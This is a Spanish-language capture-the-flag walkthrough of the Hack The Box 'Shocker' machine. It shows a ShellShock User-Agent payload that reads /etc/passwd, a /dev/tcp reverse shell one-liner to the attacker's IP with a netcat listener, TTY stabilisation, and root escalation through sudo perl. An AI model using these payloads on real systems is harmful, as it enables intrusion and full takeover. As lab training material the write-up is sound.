

Shocker



Descripción

Esta máquina es de dificultad fácil, es una máquina Linux y considero que es una máquina no muy complicada y está muy bien para repasar el uso de reverse shells

Tiene una escalada de privilegios bastante básica y perfecta para quién no esté muy acostumbrado a escalar privilegios

Herramientas empleadas en esta máquina

- NMAP
- DIRBUSTER
- BURP SUITE
- NETCAT

- GTFObins (web)

Enumeración

Vamos a realizar un escaneo de puertos para ver que servicios están activos

```
sudo nmap -p- --min-rate 5000 -sCV 10.10.10.56 -oN nmap_report
```

```
Nmap scan report for 10.10.10.56
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

En el resultado de **NMAP** podemos ver el servicio **SSH** corriendo por el puerto **2222** y el servicio **HTTP** por el puerto **80**

Página web

Al entrar en la página web no podremos encontrar nada de gran utilidad a si que vamos a enumerar los directorios de la web con la herramienta **Dirbuster**

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

Target URL (eg http://example.com:80/)

http://10.10.10.56:80

Work Method ☐ Use GET requests only ☒ Auto Switch (HEAD and GET)

Number Of Threads 100 Thre... ☐ Go Faster

Select scanning type: ☒ List based brute force ☐ Pure Brute Force

File with list of dirs/files

/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt

Char set Min length Max Length

Select starting options: ☒ Standard start point ☐ URL Fuzz

☒ Brute Force Dirs ☒ Be Recursive Dir to start with

☒ Brute Force Files ☐ Use Blank Extension File extension

URL to fuzz - /test.html?url={dir}.asp

DirBuster Stopped /icons/farcry.php

Muy importante añadir las extensiones correctamente, he añadido la extensión **cgi** ya que el nombre de la máquina es **Shocker** por lo que he deducido que tirará por la vulnerabilidad **ShellShock**

Directory Structure	Response Code	Response Size
???	???	???
cg-bin	???	???
user.sh	200	141
icons	???	???

Podremos ver dentro de el directorio **cgi-bin** tenemos un archivo llamado user.sh, si entramos dentro podremos ver lo siguiente

```
Content-Type: text/plain
Just an uptime test script
15:26:28 up 50 min,  0 users,  load average: 0.14, 0.25, 0.15
```

Antes de explotar sin saber si realmente es vulnerable, vamos a comprobar que sea vulnerable a **ShellShock**

Abriremos **burp suite**, iremos al apartado **Proxy** para posteriormente abrir el navegador de burp suite y poner la ruta al archivo **user.sh**

Una vez hecho lo mandaremos al **Repeater**, ahí modificaremos la solicitud y pondremos lo siguiente

```
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.10.10.56
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

Si al enviar nos responde con los usuarios del sistema, efectivamente será vulnerable a **ShellShock**

Como hemos visto, al escribir **cat /etc/passwd** podremos ver esa carpeta. Si ponemos un comando para crear una reverse shell, se ejecutará, por lo que vamos a poner lo siguiente

```
sh -i >& /dev/tcp/10.10.16.21/1234 0>&1
```

Vamos a hacer que se conecte a la IP 10.10.16.21 (Nuestra IP) por el puerto 1234

Vamos a usar **Netcat** para poner una escucha y recibir la conexión

```
nc -lvnp 1234
```

Le damos a **send** en Burp Suite y deberíamos recibir la conexión

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.56] 43038
sh: 0: can't access tty; job control turned off
$
```

Tenemos una shell inestable por lo que vamos a hacer el tratamiento de la **tty** para tener una shell estable

Tratamiento de la TTY

```
# DENTRO DE LA RV
script /dev/null -c bash

#DENTRO DE LA RV TIRAR LOS 3 FUNCIONEN O NO
python -c 'import pty; pty.spawn("/bin/bash")'
python2 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# CRL +Z (SE TE SALDRA! NO PASA NADA)
stty raw -echo;fg

# NO ESCRIBIR NADA SOLO COPIAR LOS SIGUIENTES COMANDOS
reset xterm-color
export TERM=xterm
stty rows 46 columns 184

#UNA VEZ PUESTO TODO YA LA PUEDES UTILIZAR
```

Ya tendremos la shell estabilizada, podemos continuar

Si hacemos **whoami** veremos que somos el usuario **shelly**, tendremos que escalar privilegios para convertirnos en **root**

Escalada de Privilegios

Vamos a empezar enumerando los archivos que podemos ejecutar con permisos de root

```
sudo -l
```

```
Matching Defaults entries for shelly on Shocker:
```

```
env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

```
User shelly may run the following commands on Shocker:
```

```
(root) NOPASSWD: /usr/bin/perl
```

El binario **perl** podremos ejecutarlo como **root**,

Después de buscar el binario **perl** en **GTFObins** podremos ver que lanzando el siguiente comando podremos tener una shell privilegiada

```
sudo perl -e 'exec"/bin/sh";'
```

```
whoami  
root
```